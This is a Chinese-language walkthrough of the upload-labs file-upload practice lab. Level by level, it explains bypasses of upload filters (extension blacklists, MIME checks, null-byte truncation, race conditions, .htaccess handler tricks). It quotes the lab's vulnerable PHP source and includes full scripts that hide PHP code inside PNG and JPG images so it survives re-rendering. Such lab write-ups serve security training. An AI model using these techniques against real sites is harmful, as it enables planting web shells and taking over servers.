pass-1
前端绕过,上传图片抓包改php。或者浏览器禁用js
pass-2
文件类型判断,抓包改content-type
pass-3
源码如下:
<?php
is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {//upload文件夹存在
$deny_ext = array('.asp','.aspx','.php','.jsp');//黑名单
$file_name = trim($_FILES['upload_file']['name']);//$_FILES是一个超级全局变量,最后是name表示文件的名称,type,size,tmp_name被上传后在服务器储存的临时全路径,error是上传的错误代码(error是在php4.2以后增加的功能)
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA,把文件名去掉了,只剩下.文件扩展名
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {//如果文件名不在黑名单中
$temp_file = $_FILES['upload_file']['tmp_name'];//赋值全路径给temp_file
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; //路径为:upload/服务器时间.随机数一个.文件扩展名
if (move_uploaded_file($temp_file,$img_path)) {//将临时文件移到uplaod里去
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
}
else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}?>
但是上传了.php5,却并不能解析它,只是被当作普通的文件可供下载;
黑名单没有.htaccess,因此我们可以上传.htaccess文件
htaccess文件如下:
.htaccess文件时apache服务器中的配置文件,通过.htaccess文件可以实现:网页301重定向,自定义404页面,改变文件拓展名,允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档;在iis上没有该文件,但是该文件默认开启,在httpd.conf中可以设置启动和关闭
而这道题我们可以构建:(关于.htaccess的详细语法之后再补)
AddType application/x-httpd-php .jpg .php5 .pht
语法的意思是将.jpg,.php5,.pht文件解析为php文件
但是这道题由于是黑名单,所以直接php3,phtm就可绕过
pass-4:
如pass-3
pass-5:
大小写绕过.PHP
pass-6:
空格绕过.php .
pass-7:
与之前相比少了尾部去点,故可以抓包该后缀为.php.
pass-8
由于没过滤空白字符,所以可以通过构造
1.php.的形式进行上传
1.php.上传过程为:1.php.经过去点操作之后剩下1.php(空格) ,从而上传
pass-9
多个空格点绕过
因为这里对扩展名禁止的很全,先删点,后转换,再去除字符串,最后首尾去空,虽然逻辑不错,但是只进行了一次验证,因此可以构造多个空格点来绕过,例如:.php. .
pass-10
提示说会去除非法后缀名,行,那就进行双写绕过
发现直接进行.phpphp不行,尝试.pphphp(php与中间的php匹配成功,替换为空字符,所以变成php)上传成功
pass-11
别样的00截断
抓包之后发现文件路径可控,使用00截断,如下:
造成00截断的原因是函数move_uploaded_file()
在这里,关键语句如下:
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
可见文件路径是通过文件目录与随机数+当前时间和文件名字进行拼接的,而文件目录又可控,
那么如果文件目录为:upload/1.php%00,再上传一个1.jpg
那么文件目录为拼接在一起:upload/1.php%00/1.jpg
而经过move_uploaded_file函数移动后,文件就被保存为upload/1.php了(这里的前提是需要magic_quotes_gpc为OFF,php版本小于5.3.4)
pass-12
post的文件目录,同样是用的00截断,不过注意post的00截断是用的2进制,需要在…/upload/1.php.
之后将.的二进制2e改成00
pass-13
从这一关起开始上传图片马,首先构造图片马的命令如下:
copy 1.jpg/b+1.php/a 2.jpg
之后用文件包含来验证:?file=upload/34323234.jpg
注意,由于后端是根据文件头来决定的文件类型,所以在上传gif文件的时候注意除了木马不要再出现其它的类似php的字符,包括<??>
pass-14
同上
pass-15
这里涉及到exif_imagetype函数,通过读取一个图像的第一个字节并检查其签名。
这是定义的常量:
1 IMAGETYPE_GIF
2 IMAGETYPE_JPEG
3 IMAGETYPE_PNG
4 IMAGETYPE_SWF
5 IMAGETYPE_PSD
6 IMAGETYPE_BMP
7 IMAGETYPE_TIFF_II(Intel 字节顺序)
8 IMAGETYPE_TIFF_MM(Motorola 字节顺序)
9 IMAGETYPE_JPC
10 IMAGETYPE_JP2
11 IMAGETYPE_JPX
12 IMAGETYPE_JB2
13 IMAGETYPE_SWC
14 IMAGETYPE_IFF
15 IMAGETYPE_WBMP
16 IMAGETYPE_XBM
实际上还是对文件头的检验
同13
pass-16
二次渲染
二次渲染就是将用户上传的图片修改一些大小尺寸等等来生成一个新图片,通过二次渲染,可以破坏恶意代码,从而达到防护的作用
而在这里,题目用了imagecreatefrompng的方法进行二次渲染
而绕过二次渲染需要自己写python脚本,对比渲染前和渲染后没有发生变化的部分,并将代码插进去
但是这样的原理只适用于.gif文件
对于png和jpg来说并不适用
搬运工上线:
对于png的:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
运行就直接生成png
这是jpg的:
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
使用方法为 php paylaod.php 1.jpg
(注意这里的jpg是已经经过二次渲染的图片,并且脚本和图片都和php在同一目录下)
pass-17
条件竞争,终于又涉及到条件竞争了
源码如下:
<?$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');//白名单
$file_name = $_FILES['upload_file']['name'];//文件名
$temp_file = $_FILES['upload_file']['tmp_name'];//临时存储名
$file_ext = substr($file_name,strrpos($file_name,".")+1);//返回点后面的,不包括点1.php.jpg
$upload_file = UPLOAD_PATH . '/' . $file_name;//拼接
if(move_uploaded_file($temp_file, $upload_file)){//先将文件保存
if(in_array($file_ext,$ext_arr)){//判断是否在白名单里
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;//上传完成
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
?>
这里的条件竞争发生在先进行文件的保存,在判断是否在白名单里,在就重命名,不在就删除
虽然有脚本,不过我跟偏向于bp来完成条件竞争;
第一个抓取上传时的包,即上传1.php(内容为:<?php phpinfo();?>)放进intruder模块
第二个抓取访问的包,即upload/1.php
设置空paylaod,并设置发包数为5000,线程为50,如下:
得到结果:
pass-18
代码分析审计如下:
......
......
......
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();//判断是否上传
if( $ret != 1 ){//如果没有上传成功
return $this->resultUpload( $ret );//返回返回的数
}
$ret = $this->setDir( $dir );//创建传入的文件目录名
if( $ret != 1 ){//如果没有创建成功
return $this->resultUpload( $ret );//返回flase
}
$ret = $this->checkExtension();//检查是否在白名单里
if( $ret != 1 ){//如果不在
return $this->resultUpload( $ret );
}//返回上传的结果
$ret = $this->checkSize();
if( $ret != 1 ){//判断文件大小
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();//判断文件扩展名
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();//总而言之,到这一步,已经是符合各项要求了,
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)各种判断都经过了,然后上传成功,:(
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
?>
同样的条件竞争+apache解析漏洞(关于三大服务器解析漏洞请戳这儿这儿)
上传1.php.rar
同pass-17
pass-19
由于保存文件名由POST方式可控,抓包修改:
…/upload/upload-19.php.(再由00截断)
二进制里将.的2e改为00
如下:
这道题还可以 使用./绕过,move_uploaded_file会忽略掉文件末尾的/.
所以可以构造save_path=1.php/.,这样file_ext值就为空,就能绕过黑名单,而move_uploaded_file函数忽略文件末尾的/.可以实现保存文件为.php
pass-20
根据pass-19的./会被move_uploaded_file忽略,所以分析如下:
如果不传入数组,传入的是字符串,那么会被以点分割开为数组,并且将数组的第一个元素当作名字,数组的最后一个元素当作文件类型,并且会对最后一个元素进行验证,因此,直接传入字符串是基本不可行的
直接传入数组,save_file[0]=1.php/,save_file[2]=jpg,这样传入的时候,数组长度之后两个,但是save_file[2-1]为空,则文件名最终变成了1.php/.(空),由于apache的解析漏洞,直接变成了1.php,从而绕过。
<?$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
//如果传入的是数组,则shuzu[0]=1.php/ ,数组[2]=jpg,而数组[1]是空,那么在后面拼接的时候就会拼接为1.php/.(空),而/.被move_uploaded_file函数忽略
$ext = end($file);
$allow_suffix = array('jpg','png','gif');//白名单
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];//file从0开始到count-1,所以这里是将文件名和扩展名拼接起来,所以最后一个必须要是php,但是php无法过白名单,使用数组传参,传进来的是1.php/.jpg--》最后得到1.php
$temp_file = $_FILES['upload_file']['tmp_name'];//临时文件
$img_path = UPLOAD_PATH . '/' .$file_name;//
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}?>
如下:
更多关于文件上传可参照:
https://blog.youkuaiyun.com/nzjdsds/article/details/81813652
另外有一种利用move_uploaded_file函数的缺陷进行绕过的构造方法如下:aaa/…/index.php/.
详情参照
https://blog.youkuaiyun.com/qq_27446553/article/details/80058958